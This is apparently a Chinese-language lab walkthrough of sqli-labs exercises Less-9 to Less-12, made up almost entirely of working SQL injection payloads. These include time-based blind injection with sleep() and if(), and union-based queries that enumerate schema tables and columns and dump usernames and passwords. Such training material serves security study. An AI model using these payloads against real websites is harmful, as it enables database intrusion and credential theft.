Less-9(时间盲注)
MySQL 的 sleep() 函数能够起到休眠的作用。为了方便调试,我们使用 Burp 拦截工具中的重放器
使用 Burp 工具开启拦截,并注入,发送都重放器,发送并观察时间
需用到if函数
1.判断闭合方式
输入
?id=1 and sleep(3)
?id=1' and sleep(3)--+
判断出闭合方式为’
2.查询数据库名
数据库长度
输入
?id=1' and if(length(database())=2,1,sleep(5))--+
运用bp进行抓包,判断数据库长度
数据库长度为8
数据库名
?id=1' and if(substr(database(),1,1)='a',1,sleep(5))--+
数据库名称为'security'
3.查询表名
?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='s',1,sleep(5))--+
依据以上操作,判断出所有表名
4.查询字段名
第一个字段
?id=1' and if(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='s',1,sleep(5))--+
依次查出字段名 id username password
5.查询数据
username字段下的第一个数据
?id=1' and if(substr((select username from security.users limit 0,1),1,1)='s',1,sleep(5))--+
依次查询即可
Less-10
判断闭合方式
?id=1 and sleep(5)--+ #快速执行
?id=1' and sleep(5)--+ #快速执行
?id=1" and sleep(5)--+ #休眠5秒
剩余操作流程如less-9一样
less-11
1.判断闭合方式
1 //页面无回显,格式正确但用户名不对
1' //页面报错,根据回显信息可以看到我们闭合点是正确的,在输入框中加入#注释
1'# //页面无回显,格式正确
2.判断回显点
-
1' order by 2# //无报错信息
-
1' order by 3# //有报错信息
-
说明该页面有两列
-
1' union select 1,2#
3.查询数据库名
1' union select database(),2#
4.查询表名
1' union select database(),group_concat(table_name)from information_schema.tables where table_schema='security'#
5.查询字段名
1' union select database(),group_concat(column_name)from information_schema.columns where table_schema='security'and table_name='users'#
6.查询数据
1' union select database(),group_concat(username,'~',password)from users#
Less-12
判断闭合方式
-
#判断是整数型还是字符型
-
1 or 1=1# //无回显信息
-
1'# //无回显信息
-
1"# //有报错信息
-
1")# //有回显信息
-
说明是字符型注入且闭合点为")
剩余操作流程如less-11,继续查询即可